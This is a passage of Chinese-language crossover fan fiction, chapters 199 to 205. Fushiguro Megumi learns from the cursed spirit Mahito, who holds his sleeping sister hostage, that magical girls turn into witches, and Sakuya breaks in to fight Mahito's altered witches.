“我知道的也没多少。”太宰治没有承认，只是道：“但是我觉得，一切的真相大概比你预计的还要糟糕。你真的做好心理准备了吗？” “……当然。” 虽然在听完津岛的这些话后，降谷零又对自己作为魔法少女的未来降低了些心理预期，但是却仍旧没有灰心丧气。 “我不会随便做出决定。既然我选择和丘比签约，那么就不会后悔。” “很好。” 太宰治为她拍了拍手。 降谷零看得很别扭，对方以一个年纪不大的少女形象表现出这种夸赞她的态度，确实挺令人不自在的。 她还没来得及说些什么，太宰治就又谈起了正事。 “这两天我处理魔女的时候，你就先跟着我短暂地学习一下，之后就由你自行解决。最近的魔女层出不穷，没有更多的时间留给你适应。” 这已经比降谷零预想中的好上许多了。 她原本没觉得津岛会花费多少时间帮忙，结果从刚才的相处中，却意外感觉对方人似乎还不错。 其实，在拥有了津岛给予的书页之后，她便不是很担心如果打不过魔女该怎么办了，反正都可以直接瞬移逃走。 于是，降谷零干脆地应道：“没问题。” 话音刚落下，太宰治便似乎是察觉到了手机的振动，低头看了下自己收到了什么消息。 应该是个令人意外的糟糕消息。 因为降谷零看到津岛皱起了眉头，沉思犹豫了片刻，才抬头对她说道： “好了，任务来了，走吧。” 降谷零感觉事情不简单，向其确认了一下：“是解决魔女的任务吧？” “也算是吧，具体情况还不清楚，等我们到了就知道了。” 太宰治随口说道。 “不过……不止一只魔女。” 第199章 ……不止一只魔女？ 降谷零愣了一下。 听津岛这语气……难道是几个魔女聚在一起闹事了？魔女这种存在也会抱团取暖吗？之前从来没听说过这种先例。 降谷零顿时察觉到了问题的棘手性，没想到自己刚接触魔法少女的工作，就遇到了前所未有的变故。 似乎自己还真够倒霉的。 “对了，我还没问过，你拥有什么样的魔法能力？”津岛突然起了兴致，问道。 “这个……” 降谷零稍稍犹豫了一下，不过想到刚才津岛对自己好像还蛮友好的样子，便还是坦白地说出了自己的能力。 “与是否正义的意志有些关系吧。大概是……当我清楚敌方曾经犯下的罪行时，我可以根据其罪行的多少，相应地削减敌方能力的发挥。” “同样的，当我越相信自己战斗的正义性，就越能发挥出更强的水准。” “很有趣。”津岛随口点评道：“还真是适合警察的能力。” 听到‘警察’两字，降谷零下意识地暗自警惕起来。 津岛这是……察觉到了自己的真实身份吗？还是说，她只是偶然提到这个，是自己想多了？ 没有给降谷零继续想下去的时间，津岛很快说道：“那等会儿你的能力应该就能发挥出作用了，我们边走边说……” …… 另一边，几个小时前。 五条悟来到了伏黑家门口。 他今天没穿高专制服，而是套了件宽松的薄毛衣，手里罕见地拎了个一般人上门做客经常会带的礼品袋。 “咚咚咚——” 敲了几下门没人应。 其他人通常可能就选择暂且离开了，不过五条悟不是这样的性格，他直接加重了敲门的声音。 大有一副如果里面的人不开门，他就可能会直接把门给敲烂的架势。 半晌后，伏黑惠不情不愿地来到门边，给他开了一小道缝隙。 “监护人探望时间到~” 五条悟见缝插针般地挤进门里，举起自己手中的纸袋晃了晃，说道：“惠，我给你带了美味的喜久福……” 他的声音越说越轻，也逐渐没了刚出声时跳脱欢快的语气。 ——因为仔细观察过之后，五条悟发现，面前的伏黑惠的状态比他来之前想象得还要糟糕。 黑发少年站在玄关阴影里，脸色有些苍白，更显得黑眼圈重得活像被人捶了两拳，衣服也皱皱巴巴的。 “五条老师。”伏黑惠沙哑着嗓音道：“我现在没心情招待你。如果有什么事，还是下次再说吧。” 五条悟只得无奈说道：“……我是来探望津美纪的。” 虞兮正里Ｇ 伏黑惠沉默片刻后，微微侧过身子，给五条悟挪出了进来的空间。 五条悟向着里面走去，注意到屋内窗帘紧闭，明明是大白天却暗得仿佛天色已晚，越走越嗅到逐渐浓烈的腐败花香味。 他们两人坐到了津美纪床边的椅子上，望着一如两年前般沉睡着的津美纪，气氛不免显得有些僵了。 而五条悟不说话，伏黑惠也就跟着沉默。 五条悟一眼就看出津美纪的状态和咒术无关，但却跟两年前一样棘手，找不到如何去解决的方法。 他默默在心里叹了口气。 津美纪也实在太倒霉了。这么特殊的两个类似的情况，居然都被她给遇上了。 不过，看眼下的情况……说不定津美纪还没出什么严重的情况，接受不了这第二次打击的伏黑惠就得先倒下了。 “惠，你都几天没出门了？就这么一直守在津美纪身边吗？” 五条悟先轻声问道，顺手摸了一下将旁边放着的一大束已经腐败的花。他只是这么轻轻碰了一下，上面的花瓣就扑簌簌地往下掉。 这些花是向日葵。 前些天，伏黑惠鬼使神差地买了这些向日葵回来，却没有好好照顾，没给它们修剪枝叶并放入装水的花瓶里。 所以，它们这么快就枯萎掉也是很正常的。 但是…… 伏黑惠这么看着这些花，忽然觉得眼睛一酸，脑海中闪现出当年自己和丘比签约后、津美纪醒来时的那些场景。 ——当时棕黑发的少女坐在洁白的病床上，因为看见他进来而露出发自内心的笑容。旁边花瓶里的向日葵明媚而热烈，散发着蓬勃的生机。 向日葵的花语是希望与幸福。 那个时候，伏黑惠也以为自己的愿望实现了，今后的未来充满了希望与幸福。 可结果却告诉他，是自己想得太过天真了。 或许从一开始他就一脚踏入了陷阱之中，还浑然不觉地帮着卖了自己的人数钱，这么多年来都没有一点进步。 第200章 伏黑惠沉浸在自责落寞的情绪之中，结果措不及防就听见五条悟说了这么一句： “张嘴。” 伏黑惠还没反应过来，下一刻就感觉到一个软绵绵的喜久福被塞到了自己嘴边。 他愣了一下，随即立刻用手将喜久福拿下来，声音微微提高道：“五条老师！” “不用感谢我啦，还想吃多少都可以，这些本来就都是为惠而准备的。” 五条悟为打断伏黑惠的抑郁状态而下意识悄悄松了口气，故作笑嘻嘻地这么说道，以转移对方的注意力。 伏黑惠拒绝道：“我又不喜欢吃这些，你自己吃就好。” “吃点嘛。”五条悟不放弃地劝道：“甜食可以让人的心情变得更好哦，你可以试一试。” 伏黑惠无言。 他手上拿着一个喜久福，也不太方便随便扔掉。所以考虑了一下后，他犹豫地又将它塞回自己嘴里。 “……不好吃，太甜了。” 吃完后，伏黑惠闷闷地评价道。 “哎？有吗？” 五条悟见状，也从纸袋里取出了一个喜久福，塞进自己嘴里嚼了嚼，含糊不清地说：“没有啊……很好吃，真的……” 伏黑惠：“……” 他也算早就熟悉了对方嗜甜的夸张程度，此刻只是有点无语，忽然想道：“你和某个家伙估计会挺有共同话题的。” 伏黑惠想起了朔夜。 对方的嗜甜程度和五条悟比起来也不遑多让。 虽然从外表来看很难想象，但伏黑惠还记得曾经看见她一勺一勺又一勺地往杯子里加糖的样子，仿佛味觉和正常人不一样似的。 五条悟好奇地接话道：“你说的是谁？你的朋友吗？” 伏黑惠张了张口，却不知道该怎么说。 ……朔夜算是他的朋友吗？ 很难说。 如果换做是其他时候，伏黑惠还能保持理智的思考，但是……如今灵魂宝石中过多的黑色杂质阻碍着他去客观地评判。 让他心里对朔夜的介怀不觉更深了几分。 朔夜只要一日不愿意说出那些瞒着他们的秘密，伏黑惠就无法抑制住对对方的怀疑。 被欺骗伤害过的人，本来就很难再次随意相信他人。 伏黑惠沉默片刻后，简单地说：“一个认识的人而已，她也非常偏好甜食。” 五条悟心底莫名一动，仿若鬼使神差地道： “……是朔夜吗？”？？？！ 这个名字怎么会从五条悟的口中说出来？ 不是……伏黑惠吃了一惊后，大脑下意识地不断涌现出很多混乱的思绪，如同毛线团一样缠绕在一起。 魔法少女们很有名气，而且五条老师也知道他和禅院穗关系比较近，所以提到朔夜应该也还算正常吧？ 伏黑惠尽量安慰自己这只是巧合。 但是，在他的视线不经意挪到旁边躺在床上的津美纪时，他的侥幸心理就忍不住开始动荡了。 直到前不久，他才知道津美纪早就知道了自己魔法少女的身份，只是贴心地没有说出来而已。 那么，五条老师会不会也…… 伏黑惠试探地问：“五条老师，你知道津美纪为什么会陷入沉睡吗？” 五条悟摇了摇头，坦诚地说道：“不清楚，我只知道和魔女有关。” 伏黑惠道：“那你没有什么想问的吗？” “问什么？津美纪的事情吗？” 五条悟想了想，无奈地说道：“你最了解与魔女相关的事情，既然你没有主动告诉我，要么是因为你自己已经有主意了，要么就是因为你觉得……我没办法帮上忙吧？” 伏黑惠抿了抿嘴。 果然，五条老师也知道他的隐藏身份了，并且没打算继续假装不知道下去了。 不然对方不会说“你最了解魔女相关的事情”，而是会提起禅院穗这个魔法少女。 伏黑惠垂头道：“……抱歉。” 五条悟挑了下眉，不解地问：“为什么突然和我道歉？” 伏黑惠回道：“我一直瞒着自己的这些事，跟你们说了谎……” “这算什么，每个人都有几个秘密，你的隐瞒又没有影响到别人什么。” 五条悟却不在意地笑着说：“我是觉得挺有趣的，看你绞尽脑汁地编理由请假，放学后偷偷去做魔法少女的工作……真的非常有意思哦。” “……” 或许是因为姐姐的事情，伏黑惠提不起情绪应付五条悟的调侃，反而轻轻叹了口气。 “别总唉声叹气的了，事情还没有到最糟糕的情况吧？” 感觉这孩子比平常难逗多了，五条悟挫败地揉乱了对方的头发： “既然津美纪曾经醒来过一次，就肯定还有第二次醒来的机会。” 伏黑惠不自觉地望向沉睡的津美纪，她的呼吸平稳，只像是陷入美梦之中而已，但脖颈上只有魔法少女能看见的魔女之种却是那样刺眼。 “我只是觉得……过去了这么久，我依旧没有能力保护好重要的人。” 在伏黑惠侧头怔怔地看着津美纪的时候，五条悟眼尖地注意到了他从衣袖中露出一角的宝石手链。 五条悟没忍住抓住对方的手腕。 “五条老师？！” 伏黑惠下意识地抽出自己的手，想要把手链重新藏回去，但又很快意识到五条悟已经知晓了他的身份，所以他也没必要隐藏了。 五条悟皱着眉道：“它已经污浊到这种程度了吗？你得好好放松休息一下了，不然会比津美纪更早垮掉。” 伏黑惠有点愣住了。 他的灵魂宝石确实很不正常，里面的黑色杂质比以往多了太多，像是被一层阴影笼罩。 不过…… “你怎么会知道？” 按理说，五条老师就算能发现他隐藏的身份，也很难知道魔法少女这种程度的秘密吧？【你现在阅读的是 】 200-210 第201章 “知道什么？”五条悟顿了顿，问道：“惠，你说的是宝石的事情吗？” 伏黑惠点头，语气迟疑：“你怎么会知道灵魂宝石？” “你忘了？” 五条悟指了指自己脸上的黑色眼罩，说道：“六眼早就看到了你隐藏在衣袖下的手链，它和禅院穗的宝石头饰很像。看你小心翼翼的样子，我就知道它很重要了。” “不过……灵魂宝石这个名称，我还是第一次听。”五条悟下意识地反感：“真是奇怪的名称。” 伏黑惠还是觉得有点不对劲，问道：“那你为什么知道我的情绪会影响到它的污浊？还有，你怎么知道它的污浊会造成不好的结果？” “这很简单啊。” 五条悟轻松地解释道：“从你过往的表现和宝石的变化来推测，六眼是很容易观察到极其细微的变化的，再加上一点直觉，大概就能猜出这些信息量了。” 伏黑惠不由得又沉默了。 ……很简单？ 五条悟说得似乎很容易，但是将这些线索串连成线可并没有那么容易吧。 伏黑惠亲身做了两年多的魔法少女，都是最近才发现了这些信息没多久，结果属于局外人的五条悟居然能够轻松猜到这些…… 这真让人有些自我怀疑。 五条悟似乎是看出他的想法了，拍了拍他的肩膀，道：“所以你看，我应该还是能帮得上你的忙吧？” 伏黑惠微不可察地艰难点了点头。 “你这些年其实真的成长了不少，不管是作为咒术师还是作为魔法少女，都保护了很多人。” 五条悟难得很有老师样子地夸赞道。 伏黑惠难免觉得不适应。 下一秒，五条悟便忽然收起笑容，屈指弹了一下伏黑惠的额头，话语一转道： “但是，有很多时候，一个人都是很难只靠自己就能解决问题的。你如今最需要改变的是过于逞强这一点，知道吗？” 伏黑惠低声应道：“……知道了。” “知道了就好好吃饭、好好休息，振作起来才能找到让津美纪苏醒的办法……” 五条悟还想多说几句。 不过，这时候他的手机却在一直不合时宜地响，听起来应该是收到了不少信息。 很正常，作为最强咒术师加目前咒术界主要话事人，五条悟大多时候都比伏黑惠要忙碌得多。 终于，五条悟无奈地停下了话头，看了眼手机的消息，随即把手中的甜品袋子硬是塞到伏黑惠手里，对他说道： “好了，我得先走了，明天在高专见面再详细谈怎么解决津美纪的事情。再敢逃课，你就等着明年复读一年吧。” 不得不说，虽然五条悟平常看着很不靠谱，但偶尔像这种情况还是能够给人非常安心的感觉。 ……就像看着很冷漠但总能及时救场的朔夜一样。 伏黑惠忽地一怔，反应过来后又很快将朔夜暂且抛之脑后，对五条悟道： “谢谢你，五条老师。” 五条悟笑着摆摆手：“不用谢啦，谁叫我是老师呢。” …… 五条悟离开之后，伏黑惠勉力打起精神来。 在魔法少女的真相逐渐揭露、以及丘比和朔夜都不值得信任之后，能够有五条悟这样的老师在关键时刻站在身边，确实给人很大安慰。 伏黑惠想着五条悟刚才的话，不禁从手中的纸袋里掏出一个喜久福，又塞到自己嘴里。 还是太甜了，不是他喜欢的味道。 但甜腻的感觉在口腔里蔓延开来，却似乎真的有让心情好转的神奇作用，使得他长久紧绷的神经放松了一点。 ……等等？ 好像不对劲。 伏黑惠突然想到了自己刚才没有察觉到的问题。 ——为什么他提到偏好甜食的人，五条老师会第一时间想到朔夜？ 纵然五条老师知道他就是禅院穗本人，猜到他隐晦提起的人是魔法少女之一，可又怎么能够精准地猜中是朔夜？ 魔法少女们在公众面前出现几乎都在干正事，不太可能会被拍到吃喝，更别提是那个拒人于千里之外的朔夜。 这两年多来，伏黑惠也就只是在一起过年的两次机会里，见到过朔夜往杯子里加糖而已。 那五条老师又怎么可能会知道这点？！ 除非……五条悟认识朔夜，并且和她的关系还比较熟。 这不可能吧？ 但似乎又没有更好的解释了。 现在再仔细回想起不久前五条悟的那些话，就更令人觉得可疑了，五条老师真的是凭借自己的观察和直觉将线索串联成线的吗？ 还是说，对方是在带着答案推过程？ 伏黑惠不禁觉得有点荒谬。 实现愿望的契约存在未知的问题，魔法少女背地里隐藏着许多阴谋，丘比和朔夜也一直都在欺瞒着他…… 事到如今，如果连五条老师也在欺骗他的话…… 那他究竟还能相信谁？ 这些念头升起的刹那，灵魂宝石上的黑色杂质骤然加快了蔓延速度……伏黑惠忽然觉得非常无力，意志随之逐渐溃败。 这仿佛是压垮骆驼的最后一根稻草。 眼看着似乎用不了多久，墨绿色的宝石就能彻底被渲染成黑色。 这一时刻，有一句慌乱急切的呼喊声由远及近乍然响起。 “停下来——” 伏黑惠隐约觉得这声音既陌生又熟悉。 陌生到好像很久没听过以至于一时想不起来这是谁，又熟悉到让人印象深刻地觉得之前肯定听过类似的声音。 应该是很久之前？ 他模糊地想起来，自己曾经遭遇危机的时候，好像远远地听到这一声音拼命地喊过…… “……他不能死，绝对不能死啊，我好不容易才遇到他——” 第202章 伏黑惠一时没想起来这声音的主人是谁。 直到这声音从他面前很近的地方再次响起。 “你绝对不能就这样放弃。” 对方语气决绝又狠厉，一字一句地要挟道：“如果你变成魔女的话，我就杀掉你的姐姐。” 捕捉到‘杀掉你的姐姐’这种字眼，伏黑惠猛然一震，反射性地强迫自己保持清醒。 不去想消极的悲观的事情，将全部心神放在面前的情形上，告诉自己不能再让津美纪受到伤害…… 他竟然暂时硬生生遏制住了灵魂宝石的污浊蔓延。 随后，勉强清醒过来的伏黑惠这才发现，自己眼前突然莫名出现了一个很久不见的特级咒灵——真人。 他已经接近两年没听到过关于真人的任何消息了。 曾经这家伙很爱出现在他和魔法少女们周围，就像个狂热私生饭一样，不过很知进退，从来不会靠近朔夜和津岛这两个比较容易逮住自己的魔法少女。 没过多久，自从五条悟当年成为咒术界绝对的话事人、并杀掉了漏瑚、花御那几个特级咒灵后，真人就彻底销声匿迹了。 没想到，如今真人却会又主动找上门来。 蓝发青年模样的人形咒灵踩在面前的床上，将沉睡的津美纪半拖起了身子，手放在了她纤细的脖颈上，随时能终结她的生命。 而真人的目光则紧紧盯着伏黑惠。 那神情很像是——在观察伏黑惠的情况，关切忧心他会不会出什么事。 太荒谬了。 一个特级咒灵怎么可能会这样关心人类的生死？ 但是，却能找到合理的解释来。 毕竟如果真人想要杀掉伏黑惠的话，刚才完全可以趁他心神失守的时候下手。 可是，真人没有这么做，反而还以挟持津美纪的方式威胁伏黑惠不能放弃…… 伏黑惠难以理解……这个特级咒灵是吃错什么药了，到底想要干什么？！ 对方说的话又是什么意思？为什么说‘如果你变成魔女’这种话，他怎么可能会变成魔女？？！ 虽然说起来，伏黑惠确实觉察到了浓厚的魔女气息，正从面前的这个特级咒灵身上不断散发出来。 但是，伏黑惠如今没有功夫关心这些问题，所有疑惑与不解只是在他心里快速闪过了不到一秒，就被他暂且抛之不管。 最重要的是津美纪。 “放开她！” 伏黑惠几乎是从喉咙里挤出声音来。 “这我可做不到。”真人没傻到随便放掉自己的筹码，反问道：“你非常在意她，比在意自己的生命更甚，对吧？” 伏黑惠咬紧牙关道：“你要是敢伤害她，我一定会让你付出百倍千倍的代价。” 真人并不畏惧伏黑惠放的狠话：“这种话一点意思也没有，有什么好说的，我们本来就是不死不休的敌人。” “……你想要什么？” 伏黑惠明白对方肯定是有所求才会挟持津美纪，他尽量维持着不多的理智问道。 真人满意地笑了，开始说出自己的条件：“如果想让她活着的话，你就要乖乖听话，不能绝望不能变成魔女。” “要作为魔法少女，被我不断研究、不断改造，直到我彻底掌握你们灵魂的构造为止……” “放心，到那个时候，我就会信守承诺地放过你姐姐，反正我拿一个普通人也没什么用。” 真人忍不住越说越激动，言语和神情中透露着压抑已久的情绪。 “我可是已经等这一天很久了。事到如今你要是不答应的话，我可没办法保证自己能做出些什么来。” 经过两年多以来暗地里的观察与琢磨，真人掌握了很多信息，知晓伏黑惠对津美纪的重视，确定他会答应自己这个并不合理的条件。 但是，令真人意外的是…… “……你在说什么？” 伏黑惠忍不住问道，他的神情看上去又变得有些恍惚了。 墨绿色的灵魂宝石手链似乎也随之泛起了一丝涟漪。 惹得真人立刻看过去，紧张地提高声音：“你又在想什么啊？！” 幸好，接下来那宝石上的黑色没有继续蔓延下去。 伏黑惠机械般地重复问道：“……你在说什么？” 真人才缓和了点情绪，但还是很无语。 ……真是的，这个人类怎么动不动就快要崩溃绝望啊？ 真人一直都知道人类很脆弱，也乐于玩弄他们于股掌之中。 但是当缺少魔法少女这个极其稀有的研究对象，真人急切渴望着研究她们的时候，就对人类的脆弱感到很头疼了。 如今魔女出现的频率越来越多，魔法少女却还是只有那么几个人而已，虽然真人不明白为什么会出现这样不合理的现况。 但很明显的是—— 要是放任魔法少女们变成魔女那可就太亏了。 第203章 “我在说什么很难理解吗，还是说你无法接受我的提议？” 真人压抑着不满与烦躁，勉强耐下心来，对伏黑惠劝道： “有什么事情都可以商量。你要是不相信我，我们也可以立下束缚。只要你能答应我的要求，我保证不伤害你姐姐。” “所以别动不动就要陷入绝望。你不在乎自己，也不在乎姐姐了吗？你要是现在变成魔女，她绝对会被你亲手杀死在这里……” 说了这么些软硬兼施的话，真人难得非常希望一个人类能够振作一些，死也别死得这么没有价值。 而接下来的发展却并不如其所愿。 伏黑惠沉默恍惚了半晌，没有回应真人的要求，而是问了个问题： “……你说的，魔法少女会变成魔女是怎么回事？” 真人先是一愣，随后讶异地道：“你不知道？” 在真人看来，这个秘密再明显不过。就像是漏水的屋顶，怎么修补也遮不住渗出的水渍。 顶多只能瞒得了那些毫不知情的普通民众，而魔法少女又怎么可能会发现不了呢？ 最显眼的就是，魔女被杀死后掉落的黑色种子与魔法少女随身携带的宝石如出一辙，都是由人类的灵魂构造成的。 哦对，其他人看不见灵魂的存在。 但是真人还是不太能够理解…… 不管是过多使用能力还是情绪绝望崩溃，都会使魔法少女的宝石向着魔女的种子转化。 在这两年多的时间里，她们竟然没能发现这一点吗？ 或许，还是有个别魔法少女发现了真相，可是却瞒着并没有告诉其他人，原因应该就是…… 真人目光幽幽地放在了伏黑惠那黑里透绿的宝石上。 只是知道自己有可能变成魔女而已，至于这么脆弱吗？ 顾忌着还需要伏黑惠这个实验体，真人不情不愿地宽慰道：“只要你不让自己的宝石彻底变黑，又不会沦落到那种地步，有什么可担心的？” 伏黑惠垂着眸，看着很安静。 不过，只要仔细观察，就能发现他的身体在微不可察地颤抖。 ……魔女都是由魔法少女变成的？ 这就是丘比和朔夜一直瞒着所有人的秘密？ 伏黑惠不可避免地想起曾经无数次和魔女的战斗，魔女那怪异可怖的形象，吸食人类生命力、散播绝望的行为，自己每一次杀死魔女时的场景…… 自己杀死的是人类？自己终有一天也会变成那样的存在？ 真人始终是无法理解伏黑惠，他只是自己按照自己的想法，傲慢地对伏黑惠说道： “其实成为魔法少女也算是一件好事，你们不是获得了这么厉害特殊的新能力吗？有舍就有得，连我这个咒灵都知道的道理。” 伏黑惠依旧是沉默不言。 真人没那么贴心，没能注意到对方那深深嵌入掌心的指甲，也没看出他平静下的濒临崩溃。 真人的耐心没过多久便有些告罄了： “你哑巴了吗？我不会一直对你这么宽容。别忘了，你姐姐现在可是在我手里。” 一边这么说着，真人钳在津美纪脖颈上的手一边慢慢收紧。 津美纪尚且无法醒来，但也因窒息的感觉，神情变得痛苦难受起来。 伏黑惠立刻出声，不过声音沙哑得吓人：“住手！” 果然，这个人质还是很有用的…… 真人闻言便放松了钳住津美纪的手，他没想着杀掉这个重要的人质，只是想让伏黑惠将局势看清楚一些。 “还是能开口说话的嘛。”真人冷笑道：“我刚才说的那些已经很清楚了吧？你到底考虑得怎么样，想清楚再回答。” 还能有什么可考虑的呢？ 伏黑惠现如今拼命地抑制住情绪，一直告诉着自己要为了津美纪而坚持住，才没有彻底放弃自己。 他毫不犹豫地回答：“我答应你。” 绝对不可以再次连累津美纪。 伏黑惠想着，自己必须要忍耐，忍耐到远离津美纪，找到与真人单独相处的机会…… 到那个时候，大概就可以安心地彻底陷入绝望的深潭之中了。 既然魔法少女终将会变成魔女，那他也不想将伤害与痛苦延伸给其他无辜的人。当他化作魔女的时候，绝对要亲手拉着真人一起去死。 而不知道伏黑惠心中所想的真人，听到伏黑惠的话，觉得自己大概是终于要得偿所愿了。 真人还没来得及高兴，结果下一刻…… 旁边玻璃的爆裂声骤然响起。 真人和伏黑惠下意识循声看去。 熟悉的白发少女踩着窗框，干脆利落地从外面跃入室内，手上拿着的长弓在阳光下闪着晶莹的光泽。 ——是朔夜。 但是，她怎么能够及时出现在这里？ 真人惊诧了一秒，随即便想到了伏黑惠，对他刚才的种种‘异常’表现有了怀疑，发怒道： “狡猾的人类，原来你刚才都是在拖延时间！” 伏黑惠：“……？” “低头。” 少女的声音带着北风般的冷冽。 虽然如今对朔夜的情感无比复杂，不知道自己是否该痛恨厌恶对方，但是听见对方命令般的熟悉口吻时，伏黑惠第一反应还是像以前那样照做了。 于是，第一支箭飞速擦着伏黑惠的发丝掠过，精准地插入真人钳住津美纪的那只手的手腕。 真人的手腕几乎要断掉，顿时无力地本能松开了手。 紧接着，第二支箭便及时赶到了，直直地瞄准真人的额头。 不过，虽然第一支箭射出时，真人还没能反应过来。但是在第二支箭射中他之前，他还是赶着做出了一些准备。 真人利用术式改变自己的灵魂形态，将自己的身体缩小，险而又险地避开了这一击。 “你们以为这样就能杀死我吗？” 真人咬牙切齿地道： “这两年以来，我可不是只在单纯地躲藏。我做了很多很多准备，全都是为了现在这一刻——” 第204章 随着真人的话音落下，周围的场景忽然开始发生变化。 整个公寓剧烈地震动起来。随后天花板逐渐渗出黑色黏液，滴落在地上时发出了滋滋的腐蚀声。墙壁上爬满藤蔓般的黑色纹路，那些纹路不断地蠕动生长。四周一点点被黑暗笼罩着…… 原本就一直存在于真人身上的魔女气息愈发变得浓厚，更是从四面八方不断蔓延开来。 周围的空间扭曲着变成了另一副模样。 就像是一个从零构造出的比较简陋的魔女结界般。 “我准备了两年多的杰作，今天就给你们好好看看吧。” 真人语调微扬地说道。 随即，五只魔女的身影从周围的黑暗中慢慢浮现，散发着令人窒息的压迫感，仿若从噩梦中爬出的怪物，空气里顿时充满了腐烂与血腥的味道。 伏黑惠的瞳孔微缩。 这些魔女没有一个是好对付的。 以他这两年来作为魔法少女的经验来看，这五个魔女散发出的强大气息绝对是非常罕见的，实力在他见过的所有魔女中都是位居前列的。 ……真人是怎么不被这些强大的魔女所杀死，甚至还将它们收为己用的？ 忽然间，伏黑惠回想起了很久之前曾经见过的那些改造人——真人能通过改变灵魂形态将人类改造成怪物，难不成也能用这种方法改造魔女？ 应该也没有别的解释了。 “禅院。” 在这种紧张的关键时刻，突然被叫到自己另一个名字的伏黑惠愣了下，刚侧头看去，一颗悲叹之种就迎面被扔了过来。 伏黑惠条件反射地抬手接住。 朔夜的后半句话紧接着响起：“把它用掉。” 换做是没和真人交谈之前，收到朔夜给的悲叹之种，伏黑惠都会因为与她的芥蒂而不愿使用。 更何况是现在。 伏黑惠觉得自己拿着的悲叹之种非常烫手。 他第一次意识到，这不是像游戏里打败敌人所获得的战利品，也不是可以让自己恢复状态的良药。 这……曾经或许是一个活生生的人类。 可能对方以前也像他一样，作为魔法少女而活过，以为处于美好正义的童话故事里…… 结果杀掉的怪物其实是同伴，自己也终究会变成这副模样，将曾经保护过的民众亲手杀害。 这也太可悲了。 没必要将这样悲剧的宿命再维持下去吧。 或许全部魔女和魔法少女如今都一起死掉，才是属于所有人的最好的结局。 “用掉它吧。”朔夜再次开口，声音突然变得温柔却不失坚定：“你绝对不会变成魔女的。” 伏黑惠心情很复杂。 ……朔夜果然知道这些，那她又是以怎样的心情说出这句话的呢？她真以为事到如今别人还会相信这么简陋的谎言吗？ “喂，你们是不是应该搞清楚现在的状况啊？” 真人不满地嚷嚷道。 此刻的真人已经不准备再费心考虑伏黑惠的状态了，只是想着尽兴地发泄完自己的情绪后，就将这两个魔法少女打包带走当实验体。 现在就算伏黑惠变成了魔女，也至少还有朔夜这个更值得研究的存在。 朔夜宝石里的灵魂最为特别，虚无缥缈得仿佛触之即散……真人早就对此非常感兴趣。 可是，为了保险起见，他这次本来只准备带走伏黑惠的，没想到居然被朔夜找了过来。 那就没办法了。 只能努力试试能不能战胜对方了。 真人对此还是抱有不少信心的。 但在战斗之前…… 真人忍不住主动跟这两人说道： “你们以为这是普通的魔女吗？呵，我可是费了很多功夫才将它们改造得听话，还一直小心隐秘地培养着，让它们源源不断地吸食人类的生命力，这才使得它们如今成长得这么强大……” 他这两年来一直小心翼翼地躲着。这些魔女是他废了好大功夫才得到并进行改造的，可却完全没有展现出来的机会。 如今好不容易可以派上用场，结果刚才观众的反应却不如他的意。 真人当然对此感到很不满。 在真人滔滔不绝地炫耀着自己实验成果的时候，伏黑惠却觉得非常恶心。 用人类来喂食魔女？ 伏黑惠听到这种话的时候，就如同两年前听到狰狞可怖的改造人是由人类变成的一样，从心底涌现出对真人的厌恶来。 下一秒，又是几支箭矢齐射的破空声撕裂凝固的空气，打断了真人的话。 魔女们虽然也是第一时间就去拦下那些箭矢，却没能完全挡住朔夜的全部攻势——箭矢实在是太快了，威力也夸张得令人难以想象，在穿透魔女的身体之后，竟然还能高速袭向真人。 真人将手臂化作盾牌抵挡，但那箭矢直接穿透了他手臂。 他耗尽全力抵挡，箭矢才堪堪在他脖颈前停了下来。 太离谱了。 真人心有余悸。 即使他早就知道朔夜的实力很强，但是从来没有亲自和对方战斗过，所以之前还是小觑了对方。 这怎么打得过？ 话说，朔夜先前刚进这屋子里时的那两支箭也没有这么强吧。 不然真人也不会自取其辱，将自己改造的魔女都召出来，想试着看能不能有机会带走这两个魔法少女。 真人迟疑了一秒，低头看了看倒在自己旁边的津美纪，立刻找到了原因。 刚才屋里的空间比较狭小，津美纪也还正和自己靠得非常近，所以朔夜必须小心翼翼地保证不误伤到津美纪。 而当他手腕受伤，脱力地暂且松开了津美纪，朔夜才能够更好地发挥自己的实力。 还真是幸运啊。 真人不由得庆幸，挟持这个普通人真是正确的选择，能够一箭双雕地同时威胁到面前这两个人。 第205章 “从现在开始，你们对我造成的每一分伤害，我都会在这个人身上同等地偿还回去。你们不相信的话，大可以试试。” 真人钳住津美纪肩膀，将她的身体挡在自己面前，完全不会感觉到丝毫不好意思，阴险狡诈地道： “不过，如果你们愿意配合我完成一些小实验的话，没准我会愿意完好无损地放了她呢？” 伏黑惠的身体僵住了。 他本来是想着，先忍耐着假意屈服真人，然后找到远离津美纪的机会再与真人同归于尽。 但现在多出了意外情况，朔夜不知道为什么赶到了这里。 伏黑惠也能知道朔夜大概是为了救自己而来的。 可他并不需要，现如今他只希望津美纪能够好好活下去……然而却没办法左右朔夜的想法。 在目前真人挟持着津美纪打算要挟他们就范的情况下，朔夜可能会为了一个陌生人而选择让步，任由真人威胁到她的生命安全吗？ 伏黑惠不安地侧头望向朔夜。 而白发少女正定定地看向真人，看不出她准备做出怎样的抉择。 虽然伊江朔久知道在伏黑惠心里津美纪比他自己更为重要，也不打算放弃津美纪，但是…… 如果听信真人的话，津美纪就真的能够安然无恙吗？ 按照真人那个恶趣味的性格，就算他如愿以偿地成功将他们两人掌控住，能够随意在他们身上做各种实验，便会信守承诺地好心将津美纪放走吗？ 伊江朔久回忆着原著情节里对真人的描述，很快得出了答案。 ……大概率不会。 于是下一刻，白发少女干脆利落地拉满弓弦，五支冰箭从虚空中产生再呈螺旋轨迹射出。 每一箭都仿佛带上了自动追击的效能，皆是精准地命中了不同位置的几只魔女。 其中一只离她较近的魔女在受伤的刹那，痛苦地嘶吼着喷出绿色的毒丝，朔夜旋身避开的同时，再次拉弦将其死死地钉在了墙上。 另一只藤蔓形状的魔女也紧跟着突然暴起，从地板上伸出带刺的枝条卷住少女的脚踝。 朔夜反手将握住一支箭矢划开藤蔓，并拿着它又狠狠插入魔女的躯体里。 “你在干什么？！！” 看着没过多久，自己辛苦培养了很久的五只魔女就都受了重伤，真人气急地大喊：“你真的不怕我杀了她吗？” 朔夜钻空子地说道：“我并没有伤害你。” 真人没想到对方还会跟他玩文字游戏，都快气笑了。 “要是想看着她在你们面前死掉的话，就尽管再试试跟我开这种玩笑吧。” 说着，真人放在津美纪脖颈上的手微微用力了几分，想要先让对方先见点血，好好掂量一下该怎么办。 伏黑惠见状，紧张地下意识向前去，担忧津美纪会出什么事情。 伊江朔久也将心提了起来。 ……不会出事的。 真人不会傻到将自己如今最重要的保障轻易杀掉。 